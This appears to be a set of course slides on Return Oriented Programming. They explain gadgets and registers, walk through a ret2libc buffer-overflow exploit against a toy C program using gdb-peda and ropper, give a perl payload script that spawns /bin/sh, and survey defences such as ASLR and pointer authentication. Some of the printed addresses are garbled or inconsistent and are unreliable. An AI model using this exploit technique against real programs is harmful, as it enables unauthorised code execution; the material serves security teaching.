Return Oriented Programming

ROP gadgets
Small instruction sequence ending with a “ret” instruction 0xc3
Gadgets are found in existing, resident code and libraries
There exist tools to search for and find gadgets
Gadgets are put together to form a program
Gadget addresses are put on the stack and are executed from places that return addresses would normally be placed
Return Oriented Programming

Finding ROP gadgets

Algorithm:
Search a binary and its libraries for all “ret” bytes

At such a byte step back to the maximum number of bytes that can make a valid instruction (20 bytes)

Record this sequence

Repeat until no more sequences are encountered
Return Oriented Programming

Architecture

Registers:
- RIP - Instruction pointer
- RBP - Base pointer - points to top of stack when function is first called - stays there
- RSP - Stack pointer - points to the current top of stack
- RSI - Registers used to transmit the first two integer
- RDI - parameters in x86 64 ABI
- RAX - Accumulator - used in arithmetic operations
- RBX - Base register - pointer to data
- RCX - Counter register - used in shift, rotate, loops
- RDX - Data register - used in arithmetic & IO operations
- GS - selection register – “now serve a vestigial purpose”

Note: slight confusion… Exx are 32 bit registers and Rxx are their counterparts as 64 bit registers
Return Oriented Programming

Things gadgets can do

Load a constant into a register:
Save a value that is at the top of the stack to a register using the “pop” instruction, then return to the address at the top of the stack

Example: pop rax; ret;

<table>
<thead>
<tr>
<th>Address of pop rax/ret gadget</th>
<th>Overwrite original address</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00000000deadbeef</td>
<td>Value to be popped to rax</td>
</tr>
<tr>
<td>Address of next gadget</td>
<td>Address of next gadget</td>
</tr>
</tbody>
</table>

...
Return Oriented Programming

Things gadgets can do

Load from memory:
Load a value that is in memory to a register using the “mov” instruction, then return to the address at the top of the stack

**Example:** `mov rcx,[rax] ; ret ;`

<table>
<thead>
<tr>
<th>Address of mov rcx,[rax]/ret gadget</th>
<th>Overwrite original address</th>
</tr>
</thead>
<tbody>
<tr>
<td>Address of next gadget</td>
<td>Move the value located in the address stored in rax, to rcx</td>
</tr>
</tbody>
</table>
Return Oriented Programming

Things gadgets can do

**Store into memory:**
Store a value that is in a register to memory using the “mov” instruction, then return to the address at the top of the stack

**Example:** `mov [rax],rcx ; ret ;`

<table>
<thead>
<tr>
<th>Address of mov [rax],rcx/ret gadget</th>
<th>Overwrite original address</th>
</tr>
</thead>
<tbody>
<tr>
<td>Address of next gadget</td>
<td>Move the value located in rcx, to the address found in rax</td>
</tr>
</tbody>
</table>
Things gadgets can do

Arithmetic Operations:
Add, subtract, and so on, then return to the address at the top of the stack

Example: add rax,0x0b ; ret ;

Address of add rax,0x0b/ret gadget

Address of next gadget

Overwrite original address
add 0x0b to rax
Return Oriented Programming

Things gadgets can do

Pop two words from the stack:

**Example:** pop rax; pop rbx; ret;

Address of pop rax; pop rbx/ret gadget

0x00000000deadbeef

0x0000000012345678

Address of next gadget

Overwrite original address

Value to be popped to rax

Value to be popped to rbx

...
Return Oriented Programming

Things gadgets can do
Make a system call:

Example: int 0x80; ret; or call gs:[0x10]; ret;

<table>
<thead>
<tr>
<th>Address of int 0x80/ret gadget</th>
<th>Programmed exception, calls kernel system_call routine</th>
</tr>
</thead>
<tbody>
<tr>
<td>Address of next gadget</td>
<td></td>
</tr>
<tr>
<td>. . .</td>
<td></td>
</tr>
<tr>
<td>Address of call gs:[0x10]/ret gadget</td>
<td></td>
</tr>
<tr>
<td>Address of next gadget</td>
<td></td>
</tr>
<tr>
<td>. . .</td>
<td></td>
</tr>
</tbody>
</table>
Return Oriented Programming

Things gadgets should not do

Gadgets with “leave” followed by ret:
  Pops the stack to the base pointer and ruins the stack frame

Gadgets containing “pop rbp”:
  Also ruin the stack frame
Return Oriented Programming

Pick the code to exploit

Example: (obvious buffer overflow vulnerability)

/* file rop-1.c */
#include <stdio.h>

int main(int argc, char *argv[]) {
    char buf[256];
    memcpy(buf, argv[1], strlen(argv[1]));
    printf(buf);
    printf("%lx\n", argv[1]);
}
Return Oriented Programming

Make the plan

run `execve("/bin/sh",0,0)`

load address of string “/bin/sh” in register rbx,
the pointer of argv array goes in rcx, (attack string)
the pointer of envp array goes in rdx, (for “/bin/sh”)
the number of the function to call (0x0b) goes in rax.

Detailed Steps:
1. zero out rax
2. move pointer to argv array to rcx – printed by code
3. move pointer to envp array into rdx – gdb-peda x/s
4. set rbx to address of "/bin/sh" – gdb-peda find
5. move 0xb into rax
6. perfrom system call (execve)
Return Oriented Programming

Make the plan

zero out rax

Use xor rax, rax ; ret ;

> ldd rop-1
linux-vdso.so.1 => (0x00007fffffb0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fffffb20000)
/lib64/ld-linux-x86-64.so.2 (0x00007fffffffd0000)

> ropper --file /lib...libc.so.6
   --search "xor rax,%rax; ret;"
0x00000000000019159f: xor rax, rax; ret;
0x19159f is an offset which is added to the base address
0x000007fffff77e2000 + 0x19159f = 0x7ffff7fb159
Return Oriented Programming

Easy full example:

consider

```c
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    return 0;
}

int main(int argc, char *argv[]) {
    vuln();
    return 0;
}
```

plan

Use buffer overflow to

1. replace return address in main with address of gadget that pops next stack value (which is address of `/bin/sh`) into RDI
2. invokes system call to bring up the shell
Return Oriented Programming

Execute the plan

find address of system and /bin/sh using gdb
Look for it in executable ret-libc-2

> gdb ret-libc-2
(gdb-peda) start
.
.
(gdb-peda) p system
$1 = {<text variable, no debug info>} 0x7ffff7a33440 <system>

Save system address 0x00007fffff7a33440

Look for address of /bin/sh
(gdb-peda) find ”/bin/sh"
Found 3 results, display max 3 items:
ret-libc-2 : 0x555555555480f --> 0x68732f6e69622f ('/bin/sh')
ret-libc-2 : 0x55555555575480f --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7ffffff7b97e9a --> 0x68732f6e69622f ('/bin/sh')

Save address of /bin/sh 0x00005555555555480f
Return Oriented Programming

Execute the plan
find address of a gadget that will pop to register RDI
Look for it in executable ret-libc-2

ropper --file ret-libc-2 --search "pop rdi; ret;"

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % rdi

0x000000000000001243: pop rdi; ret ;

Relative address of gadget: 0x000000000000001243
Use gdb ret-libc-2 → br main → r < in.txt to get base
In gdb: Breakpoint 1 at 0x11af
Base address from ‘code’: => 0x5555555551af - 0x11af
Gadget address: 0x5555555554000 + 0x1243 = 0x555555555243
Return Oriented Programming

Execute the plan
Here is what should happen

| 0x00005555555551ae | Return address to main |
Return Oriented Programming

Execute the plan
Here is what should happen

<table>
<thead>
<tr>
<th>0x0000555555555243</th>
</tr>
</thead>
</table>

Return address now points to the gadget
`pop rdi; ret`
Return Oriented Programming

Execute the plan
Here is what should happen

<table>
<thead>
<tr>
<th>Address of /bin/sh as parameter to system call</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x000055555555480f</td>
</tr>
<tr>
<td>0x0000555555555243</td>
</tr>
</tbody>
</table>
Return Oriented Programming

Execute the plan
Here is what should happen

<table>
<thead>
<tr>
<th>System call</th>
<th>Address of /bin/sh as parameter to system call</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00007fffff7a33440</td>
<td></td>
</tr>
<tr>
<td>0x0000555555555480f</td>
<td></td>
</tr>
<tr>
<td>0x000055555555547b3</td>
<td></td>
</tr>
</tbody>
</table>
Return Oriented Programming

Execute the plan

Here is what should happen

<table>
<thead>
<tr>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00007fffffff7a33440</td>
<td>returning from vuln</td>
</tr>
<tr>
<td>0x0000555555555555480f</td>
<td>but the gadget is called</td>
</tr>
<tr>
<td>0x000055555555555547b3</td>
<td></td>
</tr>
</tbody>
</table>
Return Oriented Programming

Execute the plan
Here is what should happen

<table>
<thead>
<tr>
<th>RDI:</th>
<th>0x000055555555480f</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00007fffff7a33440</td>
<td></td>
</tr>
<tr>
<td>0x000055555555480f</td>
<td></td>
</tr>
<tr>
<td>the stack is popped top of stack goes to RDI</td>
<td></td>
</tr>
</tbody>
</table>
Return Oriented Programming

Execute the plan
Here is what should happen

Next instruction to exec is the system call which takes parameter from RDI

RDI: 0x000055555555480f

0x00007ffffff7a33440
Return Oriented Programming

Execute the plan
Create a script to supply input to ret-libc-2 and exec a shell

```bash
#!/bin/bash
perl -e 'print "A"x104 . 
"\x43\x52\x55\x55\x55\x55\x00\x00\x0f\x48\x55\x55\x55\x55
\x55\x00\x00\x40\x34\xa3\xf7\xff\x7f\x00\x00"
'

# \x40\x34\xa3\xf7\xff\x7f\x00\x00 - system (3)
# \x0f\x48\x55\x55\x55\x55\x00\x00 - /bin/sh (2)
# \x43\x52\x55\x55\x55\x55\x00\x00 - pop rdi; ret (1)

#(1) RIP is overwritten with address of ROP gadget
# so when vuln() returns, it execs pop rdi; ret
#(2) value popped into RDI when pop rdi is execed.
# Then RSP is pointing to the address of system()
#(3) When ret execs after pop rdi, exec returns to
# system() which executes with parameter in RDI
# Which is the address for /bin/sh
Return Oriented Programming

Execute the plan

Run ret-libc-2 like this:

```
(in.txt.perl ; cat) | ret-libc-2
```
Return Oriented Programming

Execute the plan
Check it out in gdb:

```bash
prompt> gdb ret-libc-2
(gdb-peda) br *vuln+69    ;; vuln's return instruction
(gdb-peda) r < in.txt
```

```
-----------------------------------stack-------------------------
0x7fffffffdee8 --> 0x400693 (<__libc_csu_init+99>: pop rdi)
0x7fffffffdef0 --> 0x4006ef --> 0x68732f6e69622f ('/bin/sh')
0x7fffffffdef8 --> 0x7fffff7a52390 (__libc_system>: test rdi,rdi)
0x7fffffffdf00 --> 0x400630 (<__libc_csu_init>: push r15)
0x7fffffffdf08 --> 0x7fffff7a2d830 (__libc_start_main+240>: ...)
0x7fffffffdf10 --> 0x0
0x7fffffffdf18 --> 0x7fffffffffdfe8 --> 0x7fffffffe327 ('/home/fr...
0x7fffffffdf20 --> 0x1f7ffcca0
```

(gdb-peda) si → look at top of stack and RDI
(gdb-peda) si → look at top of stack and RDI
(gdb-peda) si → look at top of stack and RDI
Return Oriented Programming

ASLR:
For 64 bit architectures 40 bits are available for randomization
Brute force attack for 40 bits is feasible but will be noticed
If an attacker can find the location of one known instruction
the location of all others can be inferred
De-randomization techniques exist

G-Free:
Like the canary for stack return address except for `ret`
Instructions. Practical solution against any form of ROP

Instruction-Based Memory Access Control (IB-MAC):
Implemented in hardware, data stack is separated from
the return stack

Pointer Authentication Codes (PAC):
Unused address bits are used to cryptographically sign
pointer addresses. Before returning to a saved pointer a
signature may be checked. Used in iPhones, Linux supported